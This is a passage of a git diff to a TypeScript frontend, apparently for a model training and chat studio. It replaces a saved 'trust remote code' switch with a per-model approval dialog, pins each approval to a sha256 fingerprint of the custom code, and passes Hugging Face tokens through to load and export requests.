isAlreadyActive = currentStore.params.checkpoint === sel.id && (currentStore.activeGgufVariant ?? null) === (sel.ggufVariant ?? null); - if (!isAlreadyActive) { - const validation = await validateModel({ - model_path: sel.id, - hf_token: currentStore.hfToken || null, - max_seq_length: maxSeqLength, - load_in_4bit: true, - is_lora: sel.isLora, - gguf_variant: sel.ggufVariant ?? null, - trust_remote_code: trustRemoteCode, - chat_template_override: effectiveChatTemplateOverride, + // Already loaded (gate passed at first load): skip a redundant reload that would + // re-trigger the gate without the approval fingerprint and fail for HIGH custom code. + if (isAlreadyActive) { + return "ready"; + } + const validation = await validateModel({ + model_path: sel.id, + hf_token: currentStore.hfToken || null, + max_seq_length: maxSeqLength, + load_in_4bit: true, + is_lora: sel.isLora, + gguf_variant: sel.ggufVariant ?? null, + trust_remote_code: loadTrustRemoteCode, + chat_template_override: effectiveChatTemplateOverride, + }); + if ( + validation.requires_trust_remote_code || + validation.requires_security_review + ) { + const approved = await confirmRemoteCodeIfNeeded({ + modelName: sel.id, + hfToken: currentStore.hfToken || null, + requiresTrustRemoteCode: true, + onApprove: (fp) => { + loadTrustRemoteCode = true; + approvedRemoteCodeFingerprint = fp; + }, }); - if (validation.requires_trust_remote_code && !trustRemoteCode) { + if (!approved) { throw new Error( - `${modelDisplayName(sel.id)} needs custom code enabled to load. Turn on "Enable custom code" in Chat Settings, then try again.`, + `${modelDisplayName(sel.id)} needs custom code approval to load.`, ); } } @@ -960,7 +980,8 @@ export function SharedComposer({ load_in_4bit: true, is_lora: sel.isLora, gguf_variant: sel.ggufVariant ?? null, - trust_remote_code: trustRemoteCode, + trust_remote_code: loadTrustRemoteCode, + approved_remote_code_fingerprint: approvedRemoteCodeFingerprint, chat_template_override: effectiveChatTemplateOverride, speculative_type: specSettings.speculativeType, spec_draft_n_max: specSettings.specDraftNMax, diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts index 556caa0617..8fe0a0ef12 100644 --- a/studio/frontend/src/features/chat/types/api.ts +++ b/studio/frontend/src/features/chat/types/api.ts @@ -41,6 +41,8 @@ export interface LoadModelRequest { gguf_variant?: string | null; /** Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust. */ trust_remote_code?: boolean; + /** sha256 fingerprint pinning user approval of this exact custom-code version. */ + approved_remote_code_fingerprint?: string | null; chat_template_override?: string | null; cache_type_kv?: string | null; /** @@ -72,6 +74,8 @@ export interface ValidateModelResponse { is_lora?: boolean; is_vision?: boolean; requires_trust_remote_code?: boolean; + // HF flagged unsafe files, so the load is hard-blocked pending dialog review. + requires_security_review?: boolean; /** Native context length from the local GGUF header; null until downloaded. */ context_length?: number | null; } diff --git a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts index 309cf3df64..486288a04e 100644 --- a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts +++ b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts @@ -140,11 +140,7 @@ function sanitizeInferenceParams( if (typeof value.systemPrompt === "string") { params.systemPrompt = value.systemPrompt; } - if (typeof value.trustRemoteCode === "boolean") { - params.trustRemoteCode = value.trustRemoteCode; - } - // Mirror trustRemoteCode handling so the toggle survives reload - // and the /api/chat/settings round-trip. + // trustRemoteCode is no longer persisted: custom code is consented per model via the dialog. if (typeof value.fastMode === "boolean") { params.fastMode = value.fastMode; } diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts index 58df511366..e6c51b1e36 100644 --- a/studio/frontend/src/features/export/api/export-api.ts +++ b/studio/frontend/src/features/export/api/export-api.ts @@ -54,6 +54,10 @@ export async function loadCheckpoint(params: { load_in_4bit?: boolean; /** Allow loading models with custom code. Only enable for checkpoints you trust. */ trust_remote_code?: boolean; + /** sha256 fingerprint pinning user approval of this exact custom-code version. */ + approved_remote_code_fingerprint?: string | null; + /** HF token so the worker scans/loads gated checkpoints and base models with the same auth as preflight. */ + hf_token?: string | null; }): Promise { const response = await authFetch("/api/export/load-checkpoint", { method: "POST", diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx index e467b10d24..a1b2b49c2e 100644 --- a/studio/frontend/src/features/export/export-page.tsx +++ b/studio/frontend/src/features/export/export-page.tsx @@ -25,7 +25,6 @@ import { SelectValue, } from "@/components/ui/select"; import { Separator } from "@/components/ui/separator"; -import { Switch } from "@/components/ui/switch"; import { Spinner } from "@/components/ui/spinner"; import { Tooltip, @@ -37,6 +36,7 @@ import { type LocalModelInfo, useTrainingConfigStore, } from "@/features/training"; +import { confirmRemoteCodeIfNeeded } from "@/features/security"; import { useDebouncedValue, useHfModelSearch, @@ -129,8 +129,6 @@ export function ExportPage() { "checkpoint", ); const [modelSource, setModelSource] = useState<"hf" | "local">("hf"); - const [hfExportTrustRemoteCode, setHfExportTrustRemoteCode] = - useState(true); const [modelInput, setModelInput] = useState(""); const [selectedSourceModel, setSelectedSourceModel] = useState( null, @@ -490,13 +488,34 @@ export function ExportPage() { // 1. Load model source if (sourceMode === "checkpoint") { if (!checkpointPath) return; - await loadCheckpoint({ checkpoint_path: checkpointPath }); + await loadCheckpoint({ + checkpoint_path: checkpointPath, + hf_token: hfToken || null, + }); } else { + // Consent gate for an HF source's custom (auto_map) code: the only way to enable + // trust_remote_code here. A local checkpoint the user exported is trusted by default. + let trustRemoteCode = modelSource !== "hf"; + let approvedRemoteCodeFingerprint: string | null = null; + const remoteCodeOk = await confirmRemoteCodeIfNeeded({ + modelName: source, + hfToken: hfToken || null, + // An HF source can need trust_remote_code via its YAML default with no auto_map + // to review; signal it so a YAML-only model does not export with it false. + requiresTrustRemoteCode: modelSource === "hf", + onApprove: (fingerprint) => { + trustRemoteCode = true; + approvedRemoteCodeFingerprint = fingerprint; + }, + }); + if (!remoteCodeOk) return; + await loadCheckpoint({ checkpoint_path: source, load_in_4bit: false, - trust_remote_code: - modelSource === "hf" ? hfExportTrustRemoteCode : true, + trust_remote_code: trustRemoteCode, + approved_remote_code_fingerprint: approvedRemoteCodeFingerprint, + hf_token: hfToken || null, }); } @@ -578,7 +597,6 @@ export function ExportPage() { hfToken, privateRepo, modelSource, - hfExportTrustRemoteCode, ]); // ---- Render ---- @@ -868,43 +886,8 @@ export function ExportPage() {

)} -
- - - - - - - - Loads custom Python from the repo if the model - needs it. Turn off if you do not trust the - source. - - -
+ {/* No persistent "trust remote code" toggle: custom code is + consented per model via the load-time review dialog. */}